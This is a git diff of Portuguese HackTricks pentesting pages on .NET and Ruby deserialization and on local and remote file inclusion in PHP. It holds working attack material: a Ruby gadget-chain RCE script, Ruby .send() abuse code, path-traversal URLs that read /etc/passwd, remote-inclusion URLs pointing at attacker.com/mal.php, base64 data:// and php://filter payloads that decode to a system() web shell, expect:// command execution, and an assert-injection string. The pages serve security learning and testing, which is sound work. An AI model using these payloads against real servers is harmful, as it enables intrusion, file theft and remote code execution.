* **Para `JSON.Net`, defina `TypeNameHandling` como `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.**
|
||||
* **Limite os tipos que podem ser desserializados**, entendendo os riscos inerentes aos tipos do .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
|
||||
* **Tenha cautela com tipos que possuem propriedades arriscadas**, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
|
||||
* **Controle com segurança a instanciação de tipos** para evitar que os atacantes influenciem o processo de desserialização, tornando até mesmo o `DataContractSerializer` ou `XmlSerializer` vulneráveis.
|
||||
* **Implemente controles de lista branca** usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
|
||||
* **Mantenha-se informado sobre gadgets de desserialização inseguros conhecidos** dentro do .Net e garanta que os desserializadores não instanciem esses tipos.
|
||||
* **Isolar o código potencialmente arriscado** do código com acesso à internet para evitar expor gadgets conhecidos, como `System.Windows.Data.ObjectDataProvider` em aplicações WPF, a fontes de dados não confiáveis.
|
||||
- Evite permitir que fluxos de dados definam seus tipos de objeto. Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
|
||||
- Para `JSON.Net`, defina `TypeNameHandling` como `None`: %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.
|
||||
- Limite os tipos que podem ser desserializados, entendendo os riscos inerentes aos tipos do .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
|
||||
- Tenha cautela com tipos que possuem propriedades arriscadas, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
|
||||
- Controle com segurança a instanciação de tipos para evitar que os atacantes influenciem o processo de desserialização, tornando até mesmo o `DataContractSerializer` ou `XmlSerializer` vulneráveis.
|
||||
- Implemente controles de lista branca usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
|
||||
- Mantenha-se informado sobre gadgets de desserialização inseguros conhecidos no .Net e garanta que os desserializadores não instanciem esses tipos.
|
||||
- Isole o código potencialmente arriscado do código com acesso à internet para evitar expor gadgets conhecidos, como `System.Windows.Data.ObjectDataProvider` em aplicações WPF, a fontes de dados não confiáveis.
|
||||
|
||||
### **Referências**
|
||||
|
||||
* Artigo sobre desserialização JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
- Artigo sobre desserialização JSON em Java e .Net: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf), palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Em Ruby, a serialização é facilitada por dois métodos dentro da biblioteca **marshal**. O primeiro método, conhecido como **dump**, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Por outro lado, o segundo método, **load**, é empregado para reverter um fluxo de bytes de volta para um objeto, um processo conhecido como desserialização.
|
||||
|
||||
Para garantir a segurança de objetos serializados, **Ruby utiliza HMAC (Código de Autenticação de Mensagem Baseado em Hash)**, garantindo a integridade e autenticidade dos dados. A chave utilizada para esse fim é armazenada em uma das várias localizações possíveis:
|
||||
Para garantir a segurança de objetos serializados, o Ruby emprega HMAC (Código de Autenticação de Mensagem Baseado em Hash), garantindo a integridade e autenticidade dos dados. A chave utilizada para esse fim é armazenada em uma das várias localizações possíveis:
|
||||
|
||||
* `config/environment.rb`
|
||||
* `config/initializers/secret_token.rb`
|
||||
* `config/secrets.yml`
|
||||
* `/proc/self/environ`
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Cadeia de gadgets de deserialização genérica para RCE do Ruby 2.X (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Cadeia de gadgets de deserialização genérica para RCE no Ruby 2.X (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
|
@ -805,3 +805,52 @@ puts "Payload (Base64 encoded):"
|
|||
puts Base64.encode64(payload)
|
||||
```
|
||||
Outra cadeia de RCE para explorar o Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Método Ruby .send()
|
||||
|
||||
Conforme explicado neste [**relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, este método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
||||
|
||||
Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
Além disso, se apenas um parâmetro do **`.send()`** for controlado por um atacante, como mencionado na análise anterior, é possível chamar qualquer método do objeto que **não necessite de argumentos** ou cujos argumentos tenham **valores padrão**.\
|
||||
Para isso, é possível enumerar todos os métodos do objeto para **encontrar alguns métodos interessantes que atendam a esses requisitos**.
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
# This code is taken from the original blog post
|
||||
# <Object> in this case is Repository
|
||||
## Find methods with those requirements
|
||||
repo = Repository.find(1) # get first repo
|
||||
repo_methods = [ # get names of all methods accessible by Repository object
|
||||
repo.public_methods(),
|
||||
repo.private_methods(),
|
||||
repo.protected_methods(),
|
||||
].flatten()
|
||||
|
||||
repo_methods.length() # Initial number of methods => 5542
|
||||
|
||||
## Filter by the arguments requirements
|
||||
candidate_methods = repo_methods.select() do |method_name|
|
||||
[0, -1].include?(repo.method(method_name).arity())
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,13 +19,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e percepções em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -46,7 +46,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
```
|
||||
### **Linux**
|
||||
|
||||
**Misturando várias listas de LFI \*nix e adicionando mais caminhos, criei esta:**
|
||||
**Combinando várias listas de LFI \*nix e adicionando mais caminhos, criei esta:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
|
||||
|
@ -84,7 +84,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||
```
|
||||
### **Byte nulo (%00)**
|
||||
|
||||
Burla a adição de mais caracteres no final da string fornecida (burla de: $\_GET\['param']."php")
|
||||
Ignorar a adição de mais caracteres no final da string fornecida (ignorar: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
|
@ -109,11 +109,11 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
|
||||
O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
|
||||
|
||||
1. **Determinar a Profundidade do Diretório:** Averiguar a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
|
||||
1. **Determinar a Profundidade do Diretório:** Averiguar a profundidade do diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Sonda de Pastas:** Acrescente o nome da pasta suspeita (por exemplo, `private`) à URL, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em um:
|
||||
2. **Sonda de Pastas:** Acrescente o nome da pasta suspeita (por exemplo, `private`) à URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional do diretório requer incrementar a profundidade em um:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
|
@ -122,7 +122,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
|||
* **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
|
||||
4. **Exploração Recursiva:** As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI).
|
||||
|
||||
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil adequadamente. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use:
|
||||
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil adequadamente. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
|
@ -148,9 +148,9 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
```
|
||||
Em cenários como esses, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
|
||||
|
||||
* **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
|
||||
* **Determinando o Número Necessário de Travessias**: Através de tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
|
||||
* **Começando com um Diretório Falso**: É uma prática comum iniciar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
|
||||
* **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings adicionadas pelo servidor.
|
||||
* **Determinando o Número Necessário de Travessias**: Através de tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings adicionadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
|
||||
* **Começando com um Diretório Falso**: É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
|
||||
|
||||
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
|
||||
|
||||
|
@ -171,7 +171,7 @@ No php, isso é desativado por padrão porque **`allow_url_include`** está **Of
|
|||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Se por algum motivo **`allow_url_include`** estiver **Ativado**, mas o PHP estiver **filtrando** o acesso a páginas da web externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP b64 e obter RCE:
|
||||
Se por algum motivo **`allow_url_include`** estiver **Ativado**, mas o PHP estiver **filtrando** o acesso a páginas da web externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -180,7 +180,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64 essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
|
||||
No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
|
||||
{% endhint %}
|
||||
|
||||
Outro exemplo **sem usar o protocolo `php://`** seria:
|
||||
|
@ -189,7 +189,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Elemento Raiz do Python
|
||||
## Elemento raiz do Python
|
||||
|
||||
Em python em um código como este:
|
||||
```python
|
||||
|
@ -243,20 +243,20 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a vu
|
|||
|
||||
### php://filter
|
||||
|
||||
Os filtros PHP permitem realizar operações básicas de **modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
|
||||
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
|
||||
|
||||
* [Filtros de String](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Remove as tags dos dados (tudo entre os caracteres "<" e ">")
|
||||
* `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
|
||||
* Note que este filtro desapareceu das versões modernas do PHP
|
||||
* [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*`: Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
|
||||
* `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
@ -266,8 +266,8 @@ Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arb
|
|||
* `zlib.deflate`: Comprime o conteúdo (útil se estiver extraindo muitas informações)
|
||||
* `zlib.inflate`: Descomprime os dados
|
||||
* [Filtros de Criptografia](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*`: Obsoleto
|
||||
* `mdecrypt.*`: Obsoleto
|
||||
* `mcrypt.*` : Obsoleto
|
||||
* `mdecrypt.*` : Obsoleto
|
||||
* Outros Filtros
|
||||
* Executando em PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
|
||||
* `consumed`
|
||||
|
@ -309,15 +309,15 @@ A parte "php://filter" é case insensitive
|
|||
|
||||
No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:
|
||||
|
||||
* Use o codec **`UCS-4LE`** para deixar o caractere principal do texto no início e fazer o tamanho da string aumentar exponencialmente.
|
||||
* Isso será usado para gerar um **texto tão grande quando a letra inicial é adivinhada corretamente** que o php irá acionar um **erro**
|
||||
* Use o codec **`UCS-4LE`** para deixar o caractere principal do texto no início e aumentar exponencialmente o tamanho da string.
|
||||
* Isso será usado para gerar um **texto tão grande quando a letra inicial é adivinhada corretamente** que o php irá disparar um **erro**
|
||||
* O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal.
|
||||
* Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hexadecimal, dechunk não o deletará e a bomba inicial fará o php gerar um erro.
|
||||
* O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra não será mais um caractere hexadecimal, portanto dechunk não o deletará e o erro do php será acionado porque ele multiplica com a bomba inicial.
|
||||
* Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
|
||||
* Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
|
||||
* O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de memória de ordem como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível alterar a ordem dos caracteres e obter em primeira posição outras letras do texto.
|
||||
* E para ser capaz de obter **mais dados**, a ideia é **gerar 2 bytes de dados inúteis no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-lo **pivô com os próximos 2 bytes**, e **excluir os dados até os dados inúteis** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para vazar.
|
||||
* E para ser capaz de obter **mais dados**, a ideia é **gerar 2 bytes de dados inúteis no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que ele **se alinhe com os próximos 2 bytes**, e **excluir os dados até os dados inúteis** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para vazar.
|
||||
|
||||
No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
|
@ -352,29 +352,11 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
|
||||
A seguir, um exemplo de como explorar a vulnerabilidade de inclusão de arquivos usando o esquema `data://`:
|
||||
|
||||
1. Primeiro, crie um arquivo de texto contendo o seguinte texto:
|
||||
|
||||
```plaintext
|
||||
Conteúdo do arquivo incluído
|
||||
```html
|
||||
<img src="data://text/plain;base64,SGVsbG8gV29ybGQh">
|
||||
```
|
||||
|
||||
2. Em seguida, codifique o arquivo em base64. Você pode usar um site online ou um comando como o seguinte:
|
||||
|
||||
```bash
|
||||
echo -n "Conteúdo do arquivo incluído" | base64
|
||||
```
|
||||
|
||||
3. Copie o conteúdo codificado em base64.
|
||||
|
||||
4. Agora, você pode explorar a vulnerabilidade de inclusão de arquivos usando o esquema `data://` da seguinte maneira:
|
||||
|
||||
```plaintext
|
||||
data:text/plain;base64,Conteúdo_codificado_em_base64
|
||||
```
|
||||
|
||||
Substitua `Conteúdo_codificado_em_base64` pelo conteúdo que você copiou anteriormente.
|
||||
|
||||
Ao acessar o URL acima, o conteúdo do arquivo incluído será exibido no navegador.
|
||||
Neste exemplo, o conteúdo "Hello World!" é codificado em Base64 e incorporado diretamente na tag `<img>` usando o esquema `data://`.
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -388,7 +370,7 @@ Note que este protocolo é restrito pelas configurações do php **`allow_url_op
|
|||
|
||||
### expect://
|
||||
|
||||
O Expect deve estar ativado. Você pode executar código usando isso:
|
||||
Expect deve estar ativado. Você pode executar código usando isso:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
|
@ -426,14 +408,20 @@ Para uma compreensão detalhada de como explorar vulnerabilidades de desserializ
|
|||
[phar-deserialization.md](phar-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Era possível abusar de **qualquer leitura de arquivo arbitrário do PHP que suporta filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Resumo muito rápido: um **estouro de 3 bytes** no heap do PHP foi abusado para **alterar a cadeia de blocos livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um gancho foi adicionado para chamar **`system`**.\
|
||||
Era possível alocar blocos de tamanhos específicos abusando de mais filtros php.
|
||||
|
||||
### Mais protocolos
|
||||
|
||||
Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Verifique mais [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não está claro como isso pode ser útil em um ataque de inclusão de arquivo)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
|
||||
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar caminhos que correspondem a um padrão (não retorna nada imprimível, então não é realmente útil aqui)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
|
@ -441,13 +429,13 @@ Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/m
|
|||
|
||||
## LFI via 'assert' do PHP
|
||||
|
||||
Os riscos de Inclusão de Arquivo Local (LFI) em PHP são especialmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contiver caracteres de travessia de diretório como ".." e não estiver sendo devidamente sanitizada.
|
||||
Os riscos de Inclusão de Arquivo Local (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contiver caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
|
||||
|
||||
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Embora isso tenha como objetivo impedir a travessia, acaba criando inadvertidamente um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
|
||||
Embora isso tenha como objetivo impedir a travessia, acaba inadvertidamente criando um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
|
@ -459,28 +447,28 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
